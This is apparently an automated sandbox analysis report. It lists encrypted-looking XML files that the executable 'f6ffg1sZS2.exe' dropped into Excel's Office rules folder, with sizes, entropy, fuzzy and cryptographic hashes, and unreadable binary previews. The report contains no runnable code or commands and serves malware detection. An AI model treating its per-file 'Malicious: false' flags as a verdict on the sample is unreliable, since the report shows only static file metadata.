Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	11063
Entropy (8bit):	7.981368869274658
Encrypted:	false
SSDEEP:	192:jPRSk6yT7TWNAU9UvKpOdMmvdZIIkvX5pHBMPY2VDbAhhkux1w21O8qKeM6dVrYv:9Sk7TW5UBMSdZIIkvX5phMA2VDbAhhku
MD5:	A25AA48296C3E18DCAE215764C148368
SHA1:	BB05898C5B2EBC2FC1C620C2062D16B28C976CE2
SHA-256:	34CD98DA062A37836839BEC95540A8E592031BFDDE7A28DF191869515E466BAA
SHA-512:	594F820C4751064B9917F6311184B12D463278AF3061E7D2BE8052254B2137E40803E8B8015C4EBF1264982EB5418909CE265FDF2E027FDD9343B8D74C16BFB8
Malicious:	false
Preview:	<?xmlO.M.c.0{y._..n..yS u.X.wz.m...La)...,m...fZ`1.ng...^.@.7....~.~.n..y.b....B...k<.....iL.L).C...j:..'. ..n..kg;..G.my.e.....r.5...K.....w.RJ..@P......y`T.;-.l.~.....D....\...F...V..".(u..h....Wu..c#. .w...y.H^hC.<f.....).k^.T..x/.....f...%....m;l.{....Q]'`S......).S'.y.:./n.Z.2.....w..Z.drI.I.:.,.....I"s..L..ClQ,X7~.i...~J......?.....5.....BS...q.H-.^...6=....J.....Q..M...n....C..8..~o..?`..Z..@e.. ...8(L...._&/r.E....;......^.....T...CqG..7...4.:D!`.w...e5.4.~.;.P..3.Hy.....$....26p..e..iu.w......f7...w\|`...-Dt.NQ.6....3k......e...$...T.[.0=.g?4s.GM[s....bkus!..<Q......%.[}..b.P.S.4l.L.G..:.;..W#.`..!hR..^M....G..:..8N.p..1t...?.....t...:ZhUv...J.T.h.......[.!n]........C.+[..K.)Ep..../.Vu+...t..?0.q.V..\|...$t..3...<....:,N..{.R.s-...W...8(....~dHMa.._Pq..t..F#..... Wi.U7,`-......+........G..n.8...@.~4.....f.A....@.....>.n...5..jM..!...u.y.....&.$c..R.6..]]...h=P...MJ..0..f....U....I....:..u3.s....3..vq.~..8.......M.......2

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11464v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.699658182069965
Encrypted:	false
SSDEEP:	24:VcQFjkD8ET568UTo5HvM067aykV/cXunbD:bFjwLTs8UcBatnX0D
MD5:	9EE5702023173BB7CB82A51534CFC682
SHA1:	B5F4C5176820C55C8AD9898FFA72B7CE8A6558D2
SHA-256:	A893D314A6F2BCDF16EE3CBA7E62E0985FA4E5BBA3FA75528D7D70CBA551039A
SHA-512:	AAF2E6DD29075437EE33E1A406740990B162EBADE6837A9921B1BDAD2960101C7EF3F498799C764ECB1365AC092A62BE0C72DF4E251275F0D632549B955A193D
Malicious:	false
Preview:	<?xml.......e..&.H...XJ..Vp^.j.D8.,%....s..6...S.!:H:.R.S.q...J4.0..{2.jp.....:..G...{3e$!u..S..cE@..........4A..r7:..p..)+w............6....TSI.q?.g......SHPio'..E`K......D..m..y........e0...C...G..,...M...>4h.H..oL.S.#.....NX/.D'....)fL.w....\|..;r...r\|Y.....B....mC\|....w..8....Q...o..i.7...s.=N.y>+BF..ro..f...4.4.;.g...,2!6u...oo[FBa...\)U...x....<~..A6.>.....QL.?.m..-.....H......^.=.VGZg...#..........r.J;.:.l:jC..:r.....j]..1....r6.u.V.....`...H..NS..l.d.u[.;..F..C..$.L..Q. .HX...S...2~...2..$..q..K.niHf;dT..p../.&.v.r.W..v.VX{9..a,e...tD.....U..f....gk......#...00eA...I.....\|.....Su.K......p"...#.j..u..EE....4.Y...>..y..W.'.h..P.k..I..\|r...> c..0..;.....X..2...3.......]..(.`..F.f..HLQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11498v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	747
Entropy (8bit):	7.633859476065133
Encrypted:	false
SSDEEP:	12:uviWmdvRm1UB/0tGNLg5YLsKVYb4HVhaQaHdrvQ19zI9N68nxX30vS2cii9a:uv/mdvRmJwNyMqtKI/62VSbD
MD5:	5673A872AC46580870D181EE405CCDC5
SHA1:	AA1759C83C35550AC6A7564DDCA037F603463F91
SHA-256:	0DA7EED944FF4CF3760900D4B989080D90D93EB74759A93C7DF369868D6BAB89
SHA-512:	984E954580C2747AEC039FD03C7C487BD881C15A53571537814EF969C2497E16F094572D1587C4B41317D1C444E3375394C43BBCB00F5C063310F709812B2023
Malicious:	false
Preview:	<?xml...8.P.k.+.FiF?K}....~...c6..L.y.`}......h..U..j..M.E.......qkD.`.......K..jwC...d..U.F=.bp..6..4.......;.t.HH...U.Zz..<.v.F.g......{`....F.6..m.....0.m..'Rq.....+On'.L.E<..Vt.K.......b....V.~...V.G.3.y..kF...x\".W)..b.d\|...4;...Y....f'?....:..X)W....:...#z...x.\|..WL.r.+Qk../..0.r.A.LU.c.\n..r.ri#..0y..uW..".xX..9REf..l..:d.g\|.8..}..!..h6~X...}.^.B.O..y3..m... ..9...1.3JY..wh1...1.%+fP.Fu..v.)..!FD-.....0.@.=...$o.b.c..\p...E..t...%0:...W..t.5....+.S....y...1J.fG2....9..M...\|..f.N...._.+.......!..?.....x......K.0O..%0....$...jG..;J<.R.....(.,ap.1...qhv.<.L.\.n/s..l...Fw.(......{j..M?.J0!.<.....2..~q.df...`...x..o.X.u.t~.....~...'.LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11499v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1786
Entropy (8bit):	7.871494271201213
Encrypted:	false
SSDEEP:	24:RfLpqrdtBP7iYD18WlIqictIdsyfGW02iaYqfWg0PzOno1yRbmlt40/EPUce86TR:lYJtldxNl1ihGvhCp4u0/szUvk77sD
MD5:	DC6DE02B395489A6AF9F8E2715F2BA39
SHA1:	27B3492266F3C70C13B75087A05624FCC52580EE
SHA-256:	DE5B0E06162C9422C9C00995F979D9E51E78E49DD618F0F71B2CD38FAB0A2C1D
SHA-512:	0403DCA98FBB5952BF649DEE1315B773E7D2D9B93E6599E5C100C41E38B118F4E2CB42A04D6FD569FAFED2CE69EE31E0097CC13BE5244D7B1A52BF0BC4A1E267
Malicious:	false
Preview:	<?xml...<i..\..q8...ZNCr..s.V..z...6......o^.0`....~!........K.u.D....!.`..&9e.{w......] ...G%w..~.<..Y.p.....A....r`5r1;.I.^w.>k...tQ..+_m.6.]......tr..F...,g.eC!!..4.h...6......,..wX.1BY.....0.]{D.w'.$.T...h......y..L]...9...,..../.....Q!.::..!.D.._v\|$.L!.#.C..J.c...#t..._.....v.c......2.T%5Q.$...dE9{...J...I.FZ...\A..1.u.r.o".........p.Q'z..7.=..O.[.S.\...N..I..A"BCM.q^....]T.....W+_W..F.j/`b...`.%t..`.5.....2...Q=.."..`sN...}C.......t.F,.fEp'0z..bmdt...M`'..?N.:.....g7..6H.....K.....+..u.0=:(.#.;K>....\ .T.k.A]....<......R...c...\|.pv1o...K.."Dq`.G.-..f%L&.[.... ......A"g}%lq\..........(.C.m_$...'..V.&.d9.......V...z>Y...k.$.4.%). ..q..lXu..OpG...]pu..fY.F.....G.oPW.....w.....4.;...:XK....y..F.....;...3..FF.j<..#m.--..h.^.....U.L...Ar.RP1.^4\R..h.p.........uN.sRp5]0.X.q..8.2.p $........#.7....X..\....w../.^$*B..Gu[-....2..#..,.fZ...O.9.{y.g..3.R.3t..}...7.......w...73......"....^...m.\|.1l.....D.,..(<%E=........p.H,.{:.T_\U."D...E.........R..V

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11500v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	886
Entropy (8bit):	7.729827630580705
Encrypted:	false
SSDEEP:	24:nEe874onFzUgpJBLB0Kyf9Pc7nE1crZ89GMc1TbD:nK7pFpJB+D9kT6cr6nc1HD
MD5:	37D6FD2FA48FBB7F099B811181555FE3
SHA1:	9178AA079DA5C870526B139F10E7FA3C5856FBAB
SHA-256:	2D101642F952B4D4430FD7AFAB3109189B13C14DADA94AE773F28D73C89F3FED
SHA-512:	B3F5BFE0364C2774130520ECD8F9FC1BC37FFC6A071862B6972E77696E2EAD0ABA2C57F0290E09C7EC9E0ED712F84D3BB84CE2AD1E496D26C19CDE9377BFCDD4
Malicious:	false
Preview:	<?xml.$....vOZ:uh.p.'o......r.C.'Bv.."......NR....@...N.-.e....Z.G.t.U'g.+R`...1../.{@... ...0.t..sC.)..x....(.....s..(N......K6c..?.=.^....=.l...7...[.~D.....re.s$tmO.PO...z.<84..P/..1Wa..;.SI#&e0..U-5b.2..-r..W.rl...D.]g..Y.h."....u..Cn7.~.C.KOY.l.R.!..$.........6ZtU......P..CI....4.m.......?8......o<@..N......!.@..&-.&s.........O.4..k.k.j.\|......H.J........L6.'....(2<.. .,..g..U..7Y.. 0..?I4..Ho.M.o..g....'....}......:f........k.....K.f..u.8b.!...`..6Fje#u..J....gK#.=.W...=....-....,dRM7....E.>NC./3.b.6....3.I../@..V9;G...C..J.....i_.O.....).K...@%.V........#t"..`..../..7........R.W..D.......l^.xz...X;U..m....y..F.m... ..$.....".D..?.O.XC.%oo.3}..Eh.....A...\{.tR....k.J.,..A*.3...:.,........@6.w./.j.\vf.)...hd.....!.{..r.. .N.\|..#..g.d.L..+L.....uu..>..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11502v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1324
Entropy (8bit):	7.814411623489249
Encrypted:	false
SSDEEP:	24:U7hp7jHcUholxDWH53Ml62t7Kc6Fb/coJdfv1A61a1pq4/Q4G4L7EbD:y7zcKVqK3FTBJp1a1pq43pLSD
MD5:	402D21EAE68F5650F658BCA297FEA7C2
SHA1:	21A215584B2B934B86B3F5C01CC05BEAD8FCE470
SHA-256:	4ACADD94DD1EEA4E91B3818BA100E965BF9985422AF58B60FC82BE4CE2F9B735
SHA-512:	8D55CD965598CE2A9EF950DD4703B28F23FB9DB178AC274230F156004B1062CD04788D8AD62B7E2023526B54BA06CE16B7FF60F8D05C0FC9438AD44C116F5256
Malicious:	false
Preview:	<?xml....+......[)yCp.k%.U.`o.-nA...\|..A....n% .<N..L....s?...W..,..6^..9.bV.<C..hl....1d,..O4.t..d..M!.o....,..iOU..M..#.Wj.nUc.......7...`.J.X....c..N.\|V...B....O..x.e>....nz!...4.@y.e.4..^..idvu....}....h.. .<&0.f... ...s..`..eno:j.M-x(r...mF..x..y3j#v..Li.....^).U...\...O#9.....H...Zn.h}...U.V......l..W...../.."@....5O...H..r....y0.Ju..}".v.Q...V.r!.x....f..3..0.3[....e..7......&g.$...~.F.fA.j.Eqj.2.MmNY.....D...<3.f>.Bp.l<Z..F...0...S#...!I]...........m.G.wp1........Tg...9bRW.k..x.......l"..........A..R<....O@.....Y.c_sT.'....B?.=.....Y/r..j ??..to\|/.@....?..?...g.y<...:J.D..>.,...c"+.r.......lfle...T..".......?......L..h Ir....:0?J.....).e.l.P.y.Y+.b..NrB..g.....Db...../.'AK...iu..b........3/.`.C.k.I\|.;.q..+.Y......Q.o_.)..=.?..m.O..o&.....P.0...n.O....).....+.%......C3.-m..=d..76.fTL...C.g..m.W.Y.5n.-.O...<G...._"....c......c.u..M~..h..n..).E.k.0..kc..6...%..6.DN@..5@....s.WmqS.9.z."...H;..^oW6.D.ffN......P...O'k4...Y.n

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11504v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.880806059022414
Encrypted:	false
SSDEEP:	24:EwDP/g5pmO5WFZNsDc13SG7t1Bgi2qA8z8/F6sKgnmy/a3P0fG0rvTCe6VkbD:EpAWMzlX7jJA/ksKgnmy/af0Hr1D
MD5:	1CB5F7EEE8C8EFE72E914FD7F3F68F4F
SHA1:	8A482123963CB64648134A78ADD204EF87912BEC
SHA-256:	C6D5C2B16AE6CB35720F8936A08F1640ADB6EB3253CBD0AB38F302E1C3CF4B2B
SHA-512:	844955D520C6524D7DF44CEA291805D6F7399DFE2BDFB6F364BD97A670576297BABDAC781804D0412FC8149E33D267A573A918100D35726189D305297C8E98CE
Malicious:	false
Preview:	<?xml......Y.5....~c.^....4.....j......)...2.. &.U..&_.h..IR.W......?.....M..2w...S..a...]..O.xQ=...ja.....&....b..0.{...v0j...U.......j..g.I...KM47.cK.>M....@....c%l......:.CU..h...q..w]-7.XQ ..zdu.8E...x....<..>,4........%`5..p..R......w0.i...P.M...o..4H..J.8q.,Sh.}p...K.b.....B..{.W...!f.UpZ....P....;.+eGo~....X..L..3./............8.D.\$'..:.z./..(\o.7..SH..h..Z.J.`..HwWJ...sX.7..;.m..........Z.\|e.1v....>J.%1.+../Gd;(....s7..5..G(K_C.eG...npe.w..TCfg...B........p.z#.]7.R.7...k.R.'4.....i..xvp..Zg7.....$.=....0)@_.;.....P..5...>.g).^.m....K.6.=.."J..k.:.m.S......W@...n.W..."J..'.H..x(T....N..... .......-...4.;.o.dN.R}<..q.5....4.R....RK..H..@...m..4Wo.6VQW.]t.S...........xs.>......Cp......M\|.F..oU.....y..C.\|h...z.V...H........!e.......+V.x.u...F v....&....a{i(..!5.B.....C".".."....1 G..l.56...E..^.aX.S.<0....c...X...4.=#L+..S...1}..2...Sy.z.0.[.c;.....:_...C..Mc.q..Xo1...ft.....KN%......f...L......B...c..9....w;LP5w]....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11514v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	7119
Entropy (8bit):	7.970317243699905
Encrypted:	false
SSDEEP:	192:z7Dv/4wGnHfB7zQgnLMaeg0MrjvcBlZYpbeo:fD4wMZzHLTb4Kpqo
MD5:	D66697BA7BF8F2C5A4711A92C7282A30
SHA1:	5AED9A7CEF0785C0DB6D13D4DE9DEB9E9177AD7E
SHA-256:	3C66E51D0FF05FF559EDCF93001A713EC3AE794AC0166F0FD894B4A8CA5BAD43
SHA-512:	6E826D8841E0D7C24474B147DB881D5D47A5640A13DE33636F18566B780C8DFCD9CEE77B6881D1C0C9AC44CC8339FB7825F3F2757BA4C2AE7D36D905F1AD3F62
Malicious:	false
Preview:	<?xml6.q.........F.D.2...Tc.T..E.T..ww..5'^j{9'.Q..+r.......1..9..UD..'......-.T......B.........I!.~...6.+...U.s\|q..q.Af....<.u.....k..Z......M8.o.Sns.V.\...h6...40L.... .?....k.$.9tH.A..".m.Y..:.@..0......J.....a.7..9.CC\.zq.....jnr2..Z....j7....S.+S%...bO..y9x..a.^..,..?.y.r.@....M........"J".>.s&hE....m.!oh[..9.M...p.z.K..... `#..x'..L)...=.+.S}._.+.P}..CIY..u..A...8.92.W..g..29...#\|+#;.(].....9\|IK...r.......3.....D......#... .xj..49..H.p..q.....%......g[\...h.Y.{2.....Z..U..4.pp..i..yP. .R...,m."(y...... BBm..$....^1..P.U.d.\|.<3Eu....(.M....9.....83^.#!..R.u....Lh..E...3.04.....,(.^Y......F....+#c...c.].c\.$..%...(11{...d..rp..7..+U_..T.n.......\|....'. U..V9..i...{3./...S8.p....U.....B#..&=.G".y......t......^..<_... ....B=..K6-.XD.n..]..&O,+Sd...Y.+a......x4.....^......Y.....uG.3.d.t.r%.?....)M...Yu...b.#..DKI.).~(.".S..t..lb.S...z.-...C..=...F._.E."..m....7b.<J.G.H:..C.+.....+...-.a;.....].5..p....f.....:...R....~.M.. ;..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11659v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	762
Entropy (8bit):	7.734276734016319
Encrypted:	false
SSDEEP:	12:SmhnapoehSICMpBWO8LNJdq1D+MzipTtPlKw2V1vevS72hRwGJwKS2cii9a:SmFa4O6JQSMmTtelUS7iRwGwKbD
MD5:	84469B62DC704B4AECC56C82456040C5
SHA1:	ED630AC81B5170AB816B0558C16C5CE13C22ED5A
SHA-256:	D06AD220DA72D975A07CB65C8B073E9F17BE506A7FE10F64ABBEAA5E67AA97EA
SHA-512:	71D74350B65D575BF4D7931407BEB3B83DAAA3976971A409B2D1A33FECB68114EC8D37F35BFE1CD24154A7A18A98CEC0777C638FF1F7636D45F56DDD119E7C48
Malicious:	false
Preview:	<?xmlr.5!.88.]......%...A%....W.._dU,5w96Z.......ALr..M5c..-.`.V4..OB.S.....c..I..N....A3..W...dZa..&C.......r........[...e1Y'...4..-.....B..^....2.P....q..i.1&8.!........#...e?......f.oZd..q..;B.>"}.........?..L.tH.V9.$,D.\Q[.............l.i*..<Z..q..1.....D...M5@...X. .3..S.I......yj..k.HH...o$\L....`T..S.q.".<.UYV...>.M.....F.^4...\|vOoG.gT.u,...g...lT.\.-./TY.....'r)t@b.........gW.....w)>..J..l.^C;.E....I2~x...vp.]k^_..r4W.._...br.}....>............B.Ct......:M.\|X.FC..(..m.....,....I8\|."......k.......eK.....5......MlMDcd.6!.....vw.2....\...E.1......\.>..a...;kI....u.G..OS....}.ov:..\|..ik./.}.#.X...H...Zf6..q....{..0d .....5=..)..QF......LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11701v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	1463
Entropy (8bit):	7.8790049337672095
Encrypted:	false
SSDEEP:	24:LqFsDY2+8ezlI6dFjZdYBxho3/xDRkDcDiWayVcWm3qS73uAh0wOKA46q3+78hxg:uFyv+3lvFjwBcxmAD2qLm3FzuAh0wOYU
MD5:	95E74317A7237DABE53B778F55D58853
SHA1:	686DC7B1D5FC57F31E562837ED8C934C6DCE0704
SHA-256:	BE7EF1081448C9664019C6C11E0CEA0880468BBC474EF7FB789A2B19A2D4B8AB
SHA-512:	D2DCAFB54CD7FF052320B25F1077A421C8C4426008FE1146C7F79D2AEECE11BAB2DB495E04FF360D3CC95D8F8AE4D522B9BB00B72CCD12F5DBE685A7E41FFDD2
Malicious:	false
Preview:	<?xml..Tf....Y!Z.1..3;..xA=..vwA..f....%..N..V.._..#...G...qB\.A...\.0.'~x......B....p.I..J.N.).H....72^..O.X.....As}......e.L..\...Lg4.U..Z9nZL...w....0..Q0W...7U...M.....d..../..;..d;..gt.M...?X1.==q..X...p.c ...#...t......^85...D..=z.....l.,.o4..e.~..Y...'..Au`.z.}.A....YYc..<w....}g3.._lm..XRi.....]._1s.mA.P.I....7......M.)...>l...F.......7S%N..A._.B...#...\|.9Be...#....T.0n..X...LV.......9..'...}.}yg.x......8g.fH...m"......\..,.Y...l...W{Is.<.,......I-.0.P.1.)..A_S....r.\.qk.A.p....TS...\M@W..i..O..C.w.Bf.Lt.d.O..~C'...?..M.cI....W..BS:wM.z...j.Z..%...c.(..}t...h.>...A.....k.......r..SW`.......Z]...N2*.K.x.0e.]..qgqV:9..N.Y.B.J?n.9..{...ynK....]Y.-.2&\|n6...._..#R.@....!U.....(5.0...=.R.}.b../..B......-'...[...+?<..3zU>h......K...3.il.kd?.c....Z.X.A}T.hR.....h...U.\.#....tG1%U.6...`.XB.. VU~.p.).........c\|4v1".5...Y2.Z7w%.z.d..S..N.!......b.v.PSd....O.....?=Gm.HO....0(.....?.f..C.....3V....>c...:.1.@u-=.,t...6.....=.oV......+5...G..\|

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11705v1.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3505
Entropy (8bit):	7.945327916558947
Encrypted:	false
SSDEEP:	96:4zfZfuw4vPbtggWeMKUE3CPSv3k8r8apVowhu:Y4vPbtfRMKxSKPkg8Iowhu
MD5:	1495C0EF6352C15C04E41FA28777CEF9
SHA1:	194760E02F0ADE6A5DB18EE3A9932DDF2C50835F
SHA-256:	8B62BBF0C74138D4B20234E14B31B2F320F3EADB50919C055A98E16791D02399
SHA-512:	6D7076F52C26FB2C39123D4F5AD28B32A09EBC6CF4D584023B0E2016295296E168E0E61B9B3A33BF9A466A6003EE13DA174AC7F083622E3B4CFD05776E98DB92
Malicious:	false
Preview:	<?xml].&...-nwt..L&H{...j$..&G.,[......M.aw...(...3>.&6..2D....G...m.y..j......`0(0.u..l....s..^..X_h...,..$#......t.:.}....H.W^.2.S.x.-..V9^16f2...O...P..H....C....oTMI0...\|2.-\Cj!.<g...<ii%...?V...m.M....N.."..>..ow.........h.h..#..r'....msu...3./......q...i.n.,n.9.8.....O..xv....(d.ub......g.7-.k%$....BZd<. #P..y.a.......2.5...F.Z6?.......i..~..k...;..z]c.L..(..Y..2..r.......y.4.1....JFlH....$)F..h?.....o.....-....Z..!.-.4... .C.b7.........J.?...0..W......R7..`t...H5hq.NF.`.x...u#...8D.?..Oc.&x=..8../..W..4.a...(}.........L,.7..-.....x..T...L.J&mc...+-..Y;..+..<..JFC.v.-^.....Kg.6..}..}...N.=LS.d.x........ ...E.b(....qi+.k......".......o......\|ce..#..\|.._q..@..>..*..d...ed...b.qZR.V...0.S...\|....." ......W.G..}......A\hZ.......p......,.!.u.\.~J....R....O`.!.a?1..;O.B...G.7^........"..(......#..)......;6.q..l".....d{<.S.J.t..Gb.....M.....n^.Y.N..Yyp^.CF.. .....;.,LM..%.^.kN...`H......6B`..tf.......$.<"%........{y..N[J.A......2.x..8...\|&.n ..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11710v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	965
Entropy (8bit):	7.810762219979652
Encrypted:	false
SSDEEP:	24:Ix9Hezg3QP5CTjLGASLqBKBGFIxrCxCxFJbD:Q9+x5CSKGGFIxJxFpD
MD5:	BD0F91D4AD39984DCE0CCB88A51C9301
SHA1:	A4EECC5108B49995A1A70D248830787B390C1058
SHA-256:	F321505E1A6DA3C1240B045ECA577CB8CD5C83BD451433B5DC20DCE96E2FAFB1
SHA-512:	3A5339F9B85F57953EFF660015EF501382C976DA95421D4C90307C18E9A299B52DADB03BB2E8AD6FDBC504AE52B8F24845D3532692C418C2B4C4CA83CE4F06CE
Malicious:	false
Preview:	<?xml5y.)...H.Q.&..c.`U...F.o.<Z\|fH...q...No#...Y...5.y.Vh=..!.D;....."......=<Yd.1lq.u.....f.$..A....1a6u?...Q..i..Y..9..~.r[k..;{...[..".:.\|...`.W...S.......v.#...Kh..^....V...../..&...%.c....m...u....U.${..u.....\|h...a...9..C.......'...p.P.\,WA`..9......7....1..-..r\..v.\d..w.%)a.K)QZ;hA.@`..O]@...v$z.3^WWh.9O.........#b.j.qMa.....@R3_..%!......EhUu.."._./.k.df....../.I...w...:[./..S..`qO.....J.....-...'..P..G.A..Fe.y..jm.ao..v....y........PI...i =.1.1..k.5U...b.b.._...W....m....;.?[E....y...Tz..>9'....&....l.K.\4U.....?5~.....,.@..._N..[...hV.+....v.1..$....#....D.7...H.%..Q.R.s.^...8.;?...P.~..oH.s7K./.%..=.....,...[.^....0+.S........J...K.@...e..g.....}..Z..\.Q&...fC....u.....^.R.....#..G..\|....Pd.C...N.L."@0U.....L.Zb.b...}...'...Cw.+.X..{..l..."..Z.6.X............h.=xNU..\|./...Cw..7......8T......?.....Ov.r`.>.%..CIt...r..LQbDo3EfIVHxGuJOWRJdmxgY66rD6kiyqz4tzyt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11767v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2983
Entropy (8bit):	7.92206455227969
Encrypted:	false
SSDEEP:	48:oN6lhtOnW8/IsvdvtGcVTqyOKBYLRumEIaVqduHo00ikUsOvfK13D:E6lPOnWqdvFVTXuNuJIakduHaikl8fKB
MD5:	0792FAD42F5235CD45925E2740029414
SHA1:	E75BE1D4F040911E12A7CE5E95B15C99534AC877
SHA-256:	F5F4E0DC1ADCE89BB0C27B6D5E80D5BBAF5C87C9ACDCA68E7C9AC3130CA33C8B
SHA-512:	494D16E499971E4BB7CCB2B63ABC9CD3E6A8B2A65C78D7C16DA79B01139B0D67345DFA3A1F657A4A279BF82B73F31806DD1B1A9484E4AB4BF55A2A9A9C6D4FD3
Malicious:	false
Preview:	<?xml.3$.e....:...@GTI...J.J...!".@.....(.L......5Jc..O.`.a.....%np6...a..{F8j.e./..f..~c/.....D..(.g:.c..&..M..W.......s.:uA..4.R...0q^EN.?.......c..6.$~.BrW..Z?...;Y..=x_leh..:.a....H..X.).y.2/d...l...h.o...u..A......8F.s.uo..4.. .K\..;.6...]..n....L.\|(.j.cT\|.\....G....Q.2..!."..e...'.C.W.[6.A...\.4{G..8...'.....[.H..E6.a....L}...y.i/R.....e...^..p.6.b<E.....;.'o<@.J.:......o...8@.3..#...w..U.....E.......x.Y.B...c\#"!+.._:0..=.../.]....U..w,....=.NMr."...xA.7.+......m.9.R=....m...+..{C....u....OJ..YK...<.e! <..D(I..J.$..2.^;.......{Iq.....@......K...{.Jp..... .T2........{.. ....%^.....]....w.f"..}..DL.....q.(.\|x..?.....PL....R..78...h...A.e.).......F.....!p.O..#.........<....g......?F.7..~m.)z..X.s..Z...d....3>.1X.d.....9l...t7/...xo..qC;.4.2qS..".nT&...mh.......w..].G.....s.SS..b.w.x.,....$..#.V]G.z/..b...u....-....}.S.S...~8...I....7....8.?..w..@^.T...m...q].aS...RM..{.../.. .K..........M.R...od.{.i..eA..H..V..D...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11768v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	2487
Entropy (8bit):	7.922476661796044
Encrypted:	false
SSDEEP:	48:UrKEw4iilhQ7WxudUhzMsC3C8w9N89yjl1G3CSHT8oY24ceJVYzD:UrKdtQhRQiBMsCS8oHGCAYjceng
MD5:	6CE124D5597659E1C74323F487C77709
SHA1:	51E24DFF2862E558CCDACC807C1FBD837EB1BDDE
SHA-256:	CF23C3101223CC4F889634564AE6AAD7BE3F99A0CA1FDB3F795D3ACCCD6AE7E2
SHA-512:	AA3931DEE77D09D13A6B1613C51C05CB50D3D49937BFA49A181A58D00618B6943D9BB2E2A4931D5226109D77889FD0611FF384E73E0AC23974F8678CA9DEC09F
Malicious:	false
Preview:	<?xml.....+.b4P.t<..........\|......?...K.e..[PK....Hh-.Xg.S.....D..@..&.0.}.28....<...!.......D.TX...3.......T....F....".`.n..^.L.\|k......t.g......N......VV0^./..'.._M$.Rv.....%............q..Ba.&.h....x./..(u.i.....T-.Y....a.../.`.A\|..{...p...M....F....MK...<.MK.p.{9\.c..h..{x...:....U...O.ML'.\Z_...j..m.....O:IE..c8..'...q..!...._\.Sv..,..}...[V..^....wL.=..I.z(".7..q..e.s6.....br..E....>7qx..s...wC.#.M.te.......Z....E.S..;a...>.9.9.........z...{...BL......:...a.ZJ.ed.3..uf.$...+b..u.....v....%Y..:...G.f..._.mcY....LaS.RO...2..MB..........bh.<...q.~.x~.1_2..6.=b,$A!...C.....'...F.x.DK.o..Q..gSN+.qT...7....?.7...2..x....-@.5.........w?n....<#q]h.....,.=.^........+.......%..W..W.`...M..K[VyK.....)..w9.......H...X..W4=3...5...C...W..Kki.:V............0w...;..x-Cr.0..M....'R..tZ....cz...v...O......?..J0".5.bDjW.6...M..i..R..5r=3.87x..t>2..4.U..1...`."..n=.....u8f....d~D-#..fe.....1...m.g.-.....j/..dO$...K.o?........L...._t..`...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule11769v0.xml

Download File

Process:	C:\Users\user\Desktop\f6ffg1sZS2.exe
File Type:	data
Category:	dropped
Size (bytes):	3132
Entropy (8bit):	7.938579562825108
Encrypted:	false
SSDEEP:	48:VtTN72uVH0PEppxWejh++xQ95fLZg4TEI0SWIVYlZOmDMAjq2NfE+Y9c8v5XgLpI:Vj7bVHiO2+Is4j6IVYlZOm1jVEntn
MD5:	543CA268C7F3A5FB9461E151C0971F43
SHA1:	DCCEEC484C5AD4607C87E2DA59AC5C5834F2E40E
SHA-256:	DACD6F2486A6111F14FC6C9E08FBA337A3309EDBF64867B6561735F693E8FBD9
SHA-512:	ACFACA8D0DE76EA03DBE885C6AC42A3816E32D5DEE80843BD0901EE8A6571D9663719072F99DE06CADBE0CDC19467B4270AF58067B41C71263D2D7CD0DB752BD
Malicious:	false
